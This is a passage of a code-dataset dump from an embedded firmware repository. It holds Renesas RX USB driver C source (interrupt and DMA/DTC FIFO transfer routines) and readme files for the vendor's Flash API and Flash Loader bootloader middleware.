USB_DTC_ENABLE\n usb_cstd_d0fifo_handler();\n#endif /* USB_DTC_ENABLE */\n}\n/******************************************************************************\nEnd of function usb_cstd_DmaHandler\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_UsbHandler\nDescription : USB interrupt routine. Analyze which USB interrupt occurred \n : and send message to PCD/HCD task.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_UsbHandler(void)\n{\n USB_UTR_t *ptr;\n\n\n /* Initial pointer */\n ptr = &usb_gcstd_IntMsg[0][usb_gcstd_IntMsgCnt[0]];\n ptr->ip = USB_USBIP_0;\n ptr->ipp = usb_cstd_GetUsbIpAdr( ptr->ip );\n\n usb_cstd_InterruptClock( ptr );\n\n /* Check Host or Peripheral */\n if( usb_cstd_is_host_mode(ptr) == USB_NO )\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_PERI_PP\n USB_ER_t err;\n\n /* Peripheral Function */\n /* Peripheral Interrupt handler */\n usb_pstd_InterruptHandler(ptr);\n ptr->msghead = (USB_MH_t)USB_NULL;\n /* Send message */\n err = USB_ISND_MSG(USB_PCD_MBX, (USB_MSG_t*)ptr);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### lib_UsbHandler DEF1 isnd_msg error (%ld)\\n\", err);\n }\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_PERI_PP */\n }\n else\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP\n USB_ER_t err;\n\n /* Host Function */\n /* Host Interrupt handler */\n usb_hstd_InterruptHandler(ptr);\n ptr->msghead = (USB_MH_t)USB_NULL;\n /* Send message */\n err = USB_ISND_MSG(USB_HCD_MBX, (USB_MSG_t*)ptr);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### lib_UsbHandler DEF2 isnd_msg error (%ld)\\n\", err);\n }\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP */\n }\n\n /* Renewal Message count */\n usb_gcstd_IntMsgCnt[0]++;\n if( usb_gcstd_IntMsgCnt[0] == USB_INTMSGMAX )\n {\n usb_gcstd_IntMsgCnt[0] = 0;\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_UsbHandler\n******************************************************************************/\n\n#endif /* #if USB_FUNCSEL_USBIP0_PP != USB_NOUSE_PP */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6074900031089783, "alphanum_fraction": 0.6400800347328186, "avg_line_length": 26.1085262298584, "blob_id": "4b01ba60ec61d289998371367f54c057cff8590e", "content_id": "064041535b1e17e2802f7a293f881d4e28938597", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 3498, "license_type": "no_license", "max_line_length": 120, "num_lines": 129, "path": "/r_flash_api_rx/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE FOR MORE INFORMATION\n\nSimple Flash API for RX\n=======================\n\nDocument Number \n---------------\nR01AN0544EU0240\n\nVersion\n-------\nv2.40\n\nOverview\n--------\nA simple Application Program Interface (API) has been created to allow users of flash based RX600 & RX200 Series devices\nto easily integrate reprogramming abilities into their applications using User Mode programming. User Mode programming \nis the term used to describe a Renesas MCU's ability to reprogram its own internal flash memory while running in its \nnormal operational mode. \n\nFeatures\n--------\n* Can write/erase any block of internal ROM.\n* Can write/erase any block of data flash.\n* Supports background operations (BGO) on ROM and data flash.\n* Has callbacks for be alerted when BGO have finished.\n\nSupported MCUs\n--------------\n* RX610 Group\n* RX621, RX62N Group\n* RX62T Group\n* RX62G Group\n* RX630 Group\n* RX631, RX63N Group \n* RX63T Group\n* RX210 Group\n\nBoards Tested On\n----------------\n* RSKRX610\n* RSK+RX62N\n* RSKRX62T\n* YRDKRX62N\n* RSKRX630\n* RSK+RX63N\n* YRDKRX63N\n* RSKRX62G\n* RSKRX63T\n* RSKRX210\n \nLimitations\n-----------\n* This code is not re-entrant but does protect against multiple concurrent function calls.\n* During ROM operations neither the ROM or DF can be accessed. If using ROM BGO then make sure code runs from RAM.\n* During DF operations the DF cannot be accessed but ROM can be accessed normally.\n\nPeripherals Used Directly\n-------------------------\n* Flash Control Unit (FCU)\n\nRequired Packages\n-----------------\nN/A\n\nHow to add to your project\n--------------------------\n* Add src\\r_flash_api_rx.c to your project.\n* Add an include path to the 'r_flash_api_rx' directory. \n* Add an include path to the 'r_flash_api_rx\\src' directory.\n* Copy the reference configuration file 'r_flash_api_rx_config_reference.h' to your project and rename it \n r_flash_api_rx_config.h.\n* Configure middleware for your system through just copied r_flash_api_rx_config.h.\n* Add a #include for r_flash_api_rx_if.h to any source files that need to use the Flash API.\n* (The following steps are only required if you are programming or erasing ROM. If you are only operating on data \n flash, then these steps can be ignored. These steps are discussed with more detail in the app note.)\n* Make a ROM section named 'PFRAM'.\n* Make a RAM section named 'RPFRAM'.\n* Configure your linker such that code allocated in the 'FRAM' section will actually be executed in RAM.\n* After reset, make sure the Flash API code is copied from ROM to RAM. This can be done by calling the \n R_FlashCodeCopy() function.\n\nToolchain(s) Used\n-----------------\n* Renesas RX v1.02\n\nFile Structure\n--------------\nr_flash_api_rx\n| readme.txt\n| r_flash_api_rx_if.h\n|\n+---demo\n| flash_api_rx_demo_main.c\n|\n+---doc\n| r01an0544e_rxap.pdf\n|\n+---ref\n| r_flash_api_rx_config_reference.h\n|\n\\---src\n | r_flash_api_rx.c\n | r_flash_api_rx_private.h\n |\n \\---targets\n +---rx210\n | r_flash_api_rx210.h\n |\n +---rx610\n | r_flash_api_rx610.h\n |\n +---rx62g\n | r_flash_api_rx62g.h\n |\n +---rx62n\n | r_flash_api_rx62n.h\n |\n +---rx62t\n | r_flash_api_rx62t.h\n |\n +---rx630\n | r_flash_api_rx630.h\n |\n +---rx63n\n | r_flash_api_rx63n.h\n |\n \\---rx63t\n r_flash_api_rx63t.h\n\n" }, { "alpha_fraction": 0.6610419750213623, "alphanum_fraction": 0.672432005405426, "avg_line_length": 30.1854305267334, "blob_id": "d9d0de39477bf27391d2032fd295b6621e756944", "content_id": "fd936be902a97b20a1f3c65af168dae2a3f57ca2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 4741, "license_type": "no_license", "max_line_length": 120, "num_lines": 151, "path": "/r_flash_loader_rx/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE FOR MORE INFORMATION\n\nFlash Loader: A Custom Bootloader Framework for RX MCUs\n=======================================================\n\nDocument Number \n---------------\nR01AN0287EU0300\n\nVersion\n-------\nv3.0\n\nOverview\n--------\nThe Flash Loader project is a flexible system thats goal is to help users add the ability to upgrade their firmware \nin-the-field. The Flash Loader project gives users a framework to build off of so that they can customize the project \nto meet their own specific needs. \n\nFeatures\n--------\n* Framework is modular to make it easy to conform to any system.\n* Does not rely on any communications protocols for error detection or retries. All of this is built into the framework.\n* Uses the User Boot area on RX MCUs. This area offers several key benefits for bootloaders.\n* PC software is supplied to create firmware images that can be sent to the MCU.\n* All protocols are documented in the application note.\n\nSupported MCUs\n--------------\n* RX610 Group\n* RX621, RX62N Group\n* RX62T Group\n* RX630 Group\n* RX631, RX63N Group \n\nBoards Tested On\n----------------\n* RSK+RX62N\n* RDKRX62N\n* RSKRX63N\n* RDKRX63N\n\nLimitations\n-----------\n* None\n\nPeripherals Used Directly\n-------------------------\n* WDT\n\nRequired Packages\n-----------------\n* r_cmt_rx\n* r_crc_rx\n* r_delay (RDKs only)\n* r_flash_api_rx\n* r_glyph (RDKs only)\n* r_rspi_rx\n* r_sci_async_1ch_rx\n* r_spi_flash\n\nHow to add to your project\n--------------------------\nFlash Loader Bootloader\n* Copy the 'r_flash_loader_rx' directory (packaged with this application note) to your project directory.\n* Add src\\r_fl_bootloader.c to your project.\n* Add src\\r_fl_downloader.c to your project.\n* Add src\\r_fl_store_manager.c to your project.\n* Add src\\r_fl_utilities.c to your project.\n* Add the source file from the 'communications' directory that corresponds to your project's method of communication \n between the Host and Device.\n* Add the source file from the 'memory' directory that corresponds to your project's method of communication between the\n Device and Storage.\n* Add an include path to the 'r_flash_loader' directory. \n* Add an include path to the 'r_flash_loader\\src' directory.\n* Copy r_flash_loader_config_reference.h from 'ref' directory to your desired location and rename to \n r_flash_loader_config.h.\n* Configure middleware through r_flash_loader_config.h.\n* If you are placing the bootloader in the User Boot area then make sure to:\n* Configure your linker to place the code in the correct area.\n* Configure your BSP to choose User Boot Mode. This is done by configuring r_bsp_config.h if you are using the \n r_bsp package.\n\nFlash Loader User Application\n* Copy the 'r_flash_loader_rx' directory (packaged with this application note) to your project directory.\n* Add src\\r_fl_app_header.c to your project.\n* Add src\\r_fl_downloader.c to your project.\n* Add src\\r_fl_store_manager.c to your project.\n* Add src\\r_fl_utilities.c to your project.\n* Add the source file from the 'communications' directory that corresponds to your project's method of communication \n between the Host and Device.\n* Add the source file from the 'memory' directory that corresponds to your project's method of communication between the\n Device and Storage.\n* Add an include path to the 'r_flash_loader' directory. \n* Add an include path to the 'r_flash_loader\\src' directory.\n* Copy r_flash_loader_config_reference.h from 'ref' directory to your desired location and rename to \n r_flash_loader_config.h.\n* Configure middleware through r_flash_loader_config.h.\n* Add a #include for r_flash_loader_rx_if.h to files that need to use this package. \n\nToolchain(s) Used\n-----------------\n* Renesas RX v1.02\n\nFile Structure\n--------------\nr_flash_loader_rx\n| readme.txt\n| r_flash_loader_rx_if.h\n|\n+---demo\n| flash_loader_user_app_main.c\n|\n+---doc\n| r01an0287eu0300_rx.pdf\n|\n+---ref\n| r_flash_loader_rx_config_reference.h\n|\n+---src\n| | r_fl_app_header.c\n| | r_fl_bootloader.c\n| | r_fl_comm.h\n| | r_fl_downloader.c\n| | r_fl_downloader.h\n| | r_fl_globals.h\n| | r_fl_includes.h\n| | r_fl_memory.h\n| | r_fl_store_manager.c\n| | r_fl_store_manager.h\n| | r_fl_types.h\n| | r_fl_utilities.c\n| | r_fl_utilities.h\n| |\n| +---communications\n| | r_fl_comm_uart.c\n| |\n| \\---memory\n| r_fl_memory_spi_flash.c\n|\n\\---utilities\n +---batch_files\n | fl_script_erase_b0.bat\n | fl_script_erase_b1.bat\n | fl_script_info.bat\n | fl_script_load.bat\n | open_cmd_window.bat\n |\n \\---python\n r_fl_mot_converter.py\n r_fl_serial_flash_loader.py\n \n\n\n\n" }, { "alpha_fraction": 0.45554888248443604, "alphanum_fraction": 0.47311070561408997, "avg_line_length": 36.708778381347656, "blob_id": "8a9a754e6f549e25189d4af917ed49776beff3c4", "content_id": "eec7b3c1c1266bf025f42a1dda2fb3f389a09c36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 28357, "license_type": "no_license", "max_line_length": 120, "num_lines": 752, "path": "/r_usb_basic/src/HW/comm/r_usb_creg_dmadtc.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_creg_dmadtc.c\n* Description : Setting code of DMA/DTC\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n#ifdef USB_DTC_ENABLE\n\n#include \"r_dtc_rx_if.h\" /* Defines for DTC support */\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n#define USB_BYTE_SIZE_0 0 /* 0Byte size */\n#define USB_BYTE_SIZE_1 1 /* 1Byte size */\n#define USB_BYTE_SIZE_2 2 /* 2Byte size */\n#define USB_BYTE_SIZE_3 3 /* 3Byte size */\n#define USB_BYTE_SIZE_4 4 /* 4Byte size */\n\n#define USB_DTC_CRA_VAL_MAX 0xff /* MAX Value for DTC Transfer count reg A */\n#define USB_DTC_4ALIGNMENT_MASK 0xfffffffc;\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern void usb_cpu_d0fifo_enable_dma(USB_UTR_t *ptr );\nextern void usb_cpu_d0fifo_disable_dma(USB_UTR_t *ptr );\nextern uint32_t usb_cpu_get_dtc_Source_address(USB_UTR_t *ptr);\nextern uint16_t usb_cpu_get_dtc_block_count(USB_UTR_t *ptr);\n\nextern USB_UTR_t usb_gcstd_IntMsgD0fifo;\nextern USB_UTR_t usb2_gcstd_IntMsgD0fifo;\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\nvoid usb_cstd_dtc_write_not_4alignment(USB_UTR_t *ptr);\nvoid usb_cstd_dtc_not_4alignment(USB_UTR_t *ptr);\n\nuint8_t usb_dtc_alignment_size; /* Rounded 4Byte Alignent size for USB DTC Transfer data size */\nuint8_t usb_dtc_alignment_data[4]; /* Store rounded 4Byte Alignent data for USB DTC Transfer data */\n\n/******************************************************************************\nFunction Name : usb_cstd_Buf2D0fifoStartUsb\nDescription : Setup to start DMA/DTC transfer from data buffer to D0FIFO.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_Buf2D0fifoStartUsb(USB_UTR_t *ptr)\n{\n uint16_t mbw;\n\n /* Write (MEMORY -> FIFO) : USB register set */\n if(ptr->ip == USB_USBIP_0) /* USB0 */\n {\n if((usb_gcstd_Dma0Size[ptr->ip] & 0x0001u) == 0u)\n {\n mbw = USB_MBW_16;\n }\n else\n {\n mbw = USB_MBW_8;\n }\n }\n else if(ptr->ip == USB_USBIP_1) /* USBHS */\n {\n if((usb_gcstd_Dma0Size[ptr->ip] & 0x0003u) == 0u)\n {\n mbw = USB_MBW_32;\n }\n else\n {\n mbw = USB_MBW_8;\n }\n }\n\n /* Change MBW setting */\n usb_creg_set_mbw( ptr, USB_D0DMA, mbw );\n\n /* DTC(D0FIFO) interrupt enable */\n usb_cpu_d0fifo_enable_dma(ptr);\n\n /* Set DREQ enable */\n usb_creg_set_dreqe( ptr, USB_D0DMA );\n}/* eof usb_cstd_Buf2D0fifoStartUsb() */\n\n/******************************************************************************\nFunction Name : usb_cstd_D0fifo2BufStartUsb\nDescription : Setup to start DMA/DTC transfer D0FIFO to buffer.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_D0fifo2BufStartUsb(USB_UTR_t *ptr)\n{\n /* Read (FIFO -> MEMORY) : USB register set */\n /* DMA buffer clear mode & MBW set */\n if(ptr->ip == USB_USBIP_0) /* USB0 */\n {\n usb_creg_set_mbw( ptr, USB_D0DMA, (uint16_t)(USB_MBW_16) );\n }\n else if(ptr->ip == USB_USBIP_1) /* USBHS */\n {\n usb_creg_set_mbw( ptr, USB_D0DMA, (uint16_t)(USB_MBW_32) );\n }\n usb_creg_clr_dclrm( ptr, USB_D0DMA );\n\n /* Set DREQ enable */\n usb_creg_set_dreqe( ptr, USB_D0DMA );\n}/* eof usb_cstd_D0fifo2BufStartUsb */\n\n/******************************************************************************\nFunction Name : usb_cstd_D0fifoStopUsb\nDescription : Setup external variables used for USB data transfer; to reg-\n : ister if you want to stop the transfer of DMA/DTC.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_D0fifoStopUsb(USB_UTR_t *ptr)\n{\n uint16_t ip = ptr->ip;\n uint16_t pipe = usb_gcstd_Dma0Pipe[ip];\n uint32_t transfer_size = usb_gcstd_Dma0Size[ip];\n uint32_t *request_size = &usb_gcstd_DataCnt[ip][pipe];\n uint8_t *tran_data_ptr = (uint8_t *)&usb_gcstd_DataPtr[ip][pipe];\n\n usb_creg_clr_dreqe( ptr, USB_D0DMA );\n\n /* Direction check */\n if( usb_gcstd_Dma0Dir[ip] == USB_BUF2FIFO )\n {\n /* Buffer to FIFO */\n if( *request_size < transfer_size )\n {\n /* >yes then set BVAL */\n *tran_data_ptr += *request_size;\n *request_size = (uint32_t)0u;\n /* Disable Ready Interrupt */\n usb_creg_clr_brdyenb(ptr, pipe);\n /* Set BVAL */\n usb_creg_set_bval( ptr, USB_D0DMA );\n }\n else\n {\n *tran_data_ptr += transfer_size;\n /* Set data count to remain */\n *request_size -= transfer_size;\n }\n }\n else\n {\n /* FIFO to Buffer */\n *tran_data_ptr += transfer_size;\n /* Set data count to remain */\n if( *request_size < transfer_size )\n {\n *request_size = transfer_size - *request_size;\n }\n else\n {\n *request_size -= transfer_size;\n }\n }\n}/* eof usb_cstd_D0fifoStopUsb() */\n\n/******************************************************************************\nFunction Name : usb_cstd_D0fifoInt\nDescription : Set end of DMA/DTC transfer. Set to restart DMA/DTC trans-\n : fer according to data size of remaining functions to be pro-\n : cessed.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_D0fifoInt(USB_UTR_t *ptr)\n{\n uint16_t pipe;\n uint16_t ip;\n uint16_t maxps;\n uint32_t *transfer_count;\n\n ip = ptr->ip;\n pipe = usb_gcstd_Dma0Pipe[ip];\n maxps = usb_gcstd_Dma0Fifo[ip];\n transfer_count = &usb_gcstd_DataCnt[ip][pipe];\n\n /* Transfer count >= MAXPS */\n if ( *transfer_count >= maxps )\n {\n /* DMA Transfer count update */\n *transfer_count %= maxps;\n /* Transfer continue check */\n if( *transfer_count != 0 )\n {\n /* Transfer count != MAXPS * N */\n /* Odd size data check */\n if(ptr->ip == USB_USBIP_0)\n {\n if( (*transfer_count & 0x0001u) != 0u )\n {\n /* if count == odd */\n usb_creg_set_mbw( ptr, USB_D0DMA, USB_MBW_8 );\n }\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n if( (*transfer_count & 0x0003u) != 0u )\n {\n /* if count == odd */\n usb_creg_set_mbw( ptr, USB_D0DMA, USB_MBW_8 );\n }\n }\n\n /* DMA Transfer size update */\n usb_gcstd_Dma0Size[ip] = *transfer_count;\n /* DMA Restart */\n usb_cpu_d0fifo_restart_dma(ptr);\n\n /* DTC(D0FIFO) interrupt enable */\n usb_cpu_d0fifo_enable_dma(ptr);\n\n /* DMA Transfer Request Set */\n usb_creg_set_dreqe( ptr, USB_D0DMA );\n }\n else\n {\n /* Check Rounded data for 4Byte Alignment */\n if( usb_dtc_alignment_size )\n {\n /* count == odd ( 1 to 3 ) */\n *transfer_count = usb_dtc_alignment_size;\n usb_creg_set_mbw( ptr, USB_D0DMA, USB_MBW_8 );\n\n /* DMA Transfer size update */\n usb_gcstd_Dma0Size[ip] = *transfer_count;\n /* DMA Restart */\n usb_cpu_d0fifo_restart_dma(ptr);\n\n /* DTC(D0FIFO) interrupt enable */\n usb_cpu_d0fifo_enable_dma(ptr);\n\n /* DMA Transfer Request Set */\n usb_creg_set_dreqe( ptr, USB_D0DMA );\n usb_dtc_alignment_size = 0;\n }\n }\n }\n else if( *transfer_count == 0 )\n {\n /* More than enough Interrupt */\n return;\n }\n else\n {\n /* Write Rounded data for D0FIFO */\n usb_cstd_dtc_write_not_4alignment(ptr);\n\n /* Transfer count < MAXPS */\n usb_creg_set_bval( ptr, USB_D0DMA );\n /* Transfer complete */\n *transfer_count = 0;\n }\n\n /* Transfer complete check */\n if( *transfer_count == 0 )\n {\n /* Enable Empty Interrupt */\n usb_creg_set_bempenb(ptr, pipe);\n }\n}/* eof usb_cstd_D0fifoInt() */\n\n\n\n/******************************************************************************\nFunction Name : usb_cstd_Buf2fifoStartDma\nDescription : Start transfer using DMA/DTC. If transfer size is 0, write \n : more data to buffer.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipe : Pipe nr.\n : uint16_t useport: FIFO select\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_Buf2fifoStartDma( USB_UTR_t *ptr, uint16_t pipe, uint16_t useport )\n{\n /* Transfer size check */\n if(usb_gcstd_Dma0Size[ptr->ip] != 0)\n {\n if(ptr->ip == USB_USBIP_0)\n {\n if((usb_gcstd_Dma0Size[ptr->ip] & 0x0001u) == 0u)\n {\n /* 16bit access */\n /* DMA access Buffer to FIFO start */\n usb_cpu_buf2d0fifo_start_dma(ptr, usb_cstd_GetD0fifo16Adr(ptr));\n }\n else\n {\n /* 8bit access */\n /* DMA access Buffer to FIFO start */\n usb_cpu_buf2d0fifo_start_dma(ptr, usb_cstd_GetD0fifo8Adr(ptr));\n }\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n /* USB Transfer data size 4Byte Alignment. */\n usb_cstd_dtc_not_4alignment(ptr);\n\n if((usb_gcstd_Dma0Size[ptr->ip] & 0x0003u) == 0u)\n {\n /* 32bit access */\n /* DMA access Buffer to FIFO start */\n usb_cpu_buf2d0fifo_start_dma(ptr, usb_cstd_GetD0fifo32Adr(ptr));\n }\n else\n {\n /* 8bit access */\n /* DMA access Buffer to FIFO start */\n usb_cpu_buf2d0fifo_start_dma(ptr, usb_cstd_GetD0fifo8Adr(ptr));\n }\n }\n\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, pipe, useport, USB_NO);\n /* Enable Not Ready Interrupt */\n usb_cstd_NrdyEnable(ptr, pipe);\n /* CPU access Buffer to FIFO start */\n usb_cstd_Buf2D0fifoStartUsb(ptr);\n }\n else\n {\n /* Buffer to FIFO data write */\n usb_cstd_Buf2Fifo(ptr, pipe, useport);\n }\n}/* eof usb_cstd_Buf2fifoStartDma() */\n\n\n/******************************************************************************\nFunction Name : usb_cstd_Fifo2BufStartDma\nDescription : Start transfer using DMA/DTC. If transfer size is 0, clear DMA. \nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipe : Pipe nr.\n : uint16_t useport: FIFO select\n : uint32_t length\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_Fifo2BufStartDma( USB_UTR_t *ptr, uint16_t pipe, uint16_t useport, uint32_t length )\n{\n uint16_t mxps;\n\n /* Data size check */\n if( usb_gcstd_Dma0Size[ptr->ip] != 0u )\n {\n if(ptr->ip == USB_USBIP_0)\n {\n if((usb_gcstd_Dma0Size[ptr->ip] & 0x0001u) == 0u)\n {\n /* 16bit access */\n /* DMA access Buffer to FIFO start */\n usb_cpu_d0fifo2buf_start_dma(ptr, usb_cstd_GetD0fifo16Adr(ptr));\n }\n else\n {\n /* 8bit access */\n /* DMA access Buffer to FIFO start */\n usb_cpu_d0fifo2buf_start_dma(ptr, usb_cstd_GetD0fifo8Adr(ptr));\n }\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n if((usb_gcstd_Dma0Size[ptr->ip] & 0x0003u) == 0u)\n {\n /* 32bit access */\n /* DMA access Buffer to FIFO start */\n usb_cpu_d0fifo2buf_start_dma(ptr, usb_cstd_GetD0fifo32Adr(ptr));\n }\n else\n {\n /* 8bit access */\n /* DMA access Buffer to FIFO start */\n usb_cpu_d0fifo2buf_start_dma(ptr, usb_cstd_GetD0fifo8Adr(ptr));\n }\n }\n\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, pipe, useport, USB_NO);\n /* Max Packet Size */\n mxps = usb_cstd_GetMaxPacketSize(ptr, pipe);\n if( length != (uint32_t)0u )\n {\n /* Data length check */\n if( (length % mxps) == (uint32_t)0u )\n {\n /* Set Transaction counter */\n usb_cstd_SetTransactionCounter(ptr, pipe, (uint16_t)(length / mxps));\n }\n else\n {\n /* Set Transaction counter */\n usb_cstd_SetTransactionCounter(ptr, pipe, (uint16_t)((length / mxps) + (uint32_t)1u));\n }\n }\n /* Set BUF */\n usb_cstd_SetBuf(ptr, pipe);\n /* Enable Ready Interrupt */\n usb_creg_set_brdyenb(ptr, pipe);\n /* Enable Not Ready Interrupt */\n usb_cstd_NrdyEnable(ptr, pipe);\n usb_cstd_D0fifo2BufStartUsb(ptr);\n }\n else\n {\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, pipe, useport, USB_NO);\n /* DMA buffer clear mode set */\n usb_creg_set_dclrm( ptr, USB_D0DMA );\n /* Set BUF */\n usb_cstd_SetBuf(ptr, pipe);\n /* Enable Ready Interrupt */\n usb_creg_set_brdyenb(ptr, pipe);\n /* Enable Not Ready Interrupt */\n usb_cstd_NrdyEnable(ptr, pipe);\n }\n} /* eof usb_cstd_Fifo2BufStartDma() */\n\n\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP0_PP == USB_PERI_PP\n/******************************************************************************\nFunction Name : usb_cstd_d0fifo_handler\nDescription : DMA interrupt routine. Send message to PCD/HCD task.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_d0fifo_handler(void)\n{\n USB_UTR_t *ptr;\n\n ptr = &usb_gcstd_IntMsgD0fifo;\n ptr->msghead = (USB_MH_t)USB_NULL;\n ptr->keyword = 0;\n ptr->status = 0;\n ptr->ip = USB_USBIP_0;\n ptr->ipp = usb_cstd_GetUsbIpAdr( ptr->ip );\n\n usb_creg_clr_dreqe( ptr, USB_D0DMA ); /* DMA Transfer request disable */\n usb_cpu_d0fifo_stop_dma(ptr); /* Stop DMA,FIFO access */\n\n if( usb_cstd_is_host_mode(ptr) == USB_NO )\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_PERI_PP\n USB_ER_t err;\n\n /* Peripheral Function */\n ptr->msginfo = USB_MSG_PCD_D0FIFO_INT;\n /* Send message */\n err = USB_ISND_MSG(USB_PCD_MBX, (USB_MSG_t*)ptr);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### DmaHandler DEF1 isnd_msg error (%ld)\\n\", err);\n }\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_PERI_PP */\n }\n else\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP\n USB_ER_t err;\n\n ptr->msginfo = USB_MSG_HCD_D0FIFO_INT;\n /* Send message */\n err = USB_ISND_MSG(USB_HCD_MBX, (USB_MSG_t*)ptr);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### DmaHandler DEF2 isnd_msg error (%ld)\\n\", err);\n }\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP */\n }\n} /* eof usb_cstd_d0fifo_handler() */\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP0_PP == USB_PERI_PP */\n\n#if USB_FUNCSEL_USBIP1_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP\n/******************************************************************************\nFunction Name : usb2_cstd_d0fifo_handler\nDescription : DMA interrupt routine. Send message to PCD/HCD task.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb2_cstd_d0fifo_handler(void)\n{\n/* Conditional compile dep. on difference of USB function */\n#if USB_FUNCSEL_USBIP1_PP != USB_NOUSE_PP\n USB_UTR_t *ptr;\n\n ptr = &usb2_gcstd_IntMsgD0fifo;\n ptr->msghead = (USB_MH_t)USB_NULL;\n ptr->keyword = 0;\n ptr->status = 0;\n ptr->ip = USB_USBIP_1;\n ptr->ipp = usb_cstd_GetUsbIpAdr( ptr->ip );\n\n usb_creg_clr_dreqe( ptr, USB_D0DMA ); /* DMA Transfer request disable */\n usb_cpu_d0fifo_stop_dma(ptr); /* Stop DMA,FIFO access */\n\n if( usb_cstd_is_host_mode(ptr) == USB_NO )\n {\n#if USB_FUNCSEL_USBIP1_PP == USB_PERI_PP\n USB_ER_t err;\n\n /* Peripheral Function */\n ptr->msginfo = USB_MSG_PCD_D0FIFO_INT;\n /* Send message */\n err = USB_ISND_MSG(USB_PCD_MBX, (USB_MSG_t*)ptr);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### DmaHandler DEF1 isnd_msg error (%ld)\\n\", err);\n }\n#endif /* USB_FUNCSEL_USBIP1_PP != USB_NOUSE_PP */\n }\n else\n {\n#if USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n USB_ER_t err;\n\n /* Host Function */\n ptr->msginfo = USB_MSG_HCD_D0FIFO_INT;\n /* Send message */\n err = USB_ISND_MSG(USB_HCD_MBX, (USB_MSG_t*)ptr);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### DmaHandler DEF2 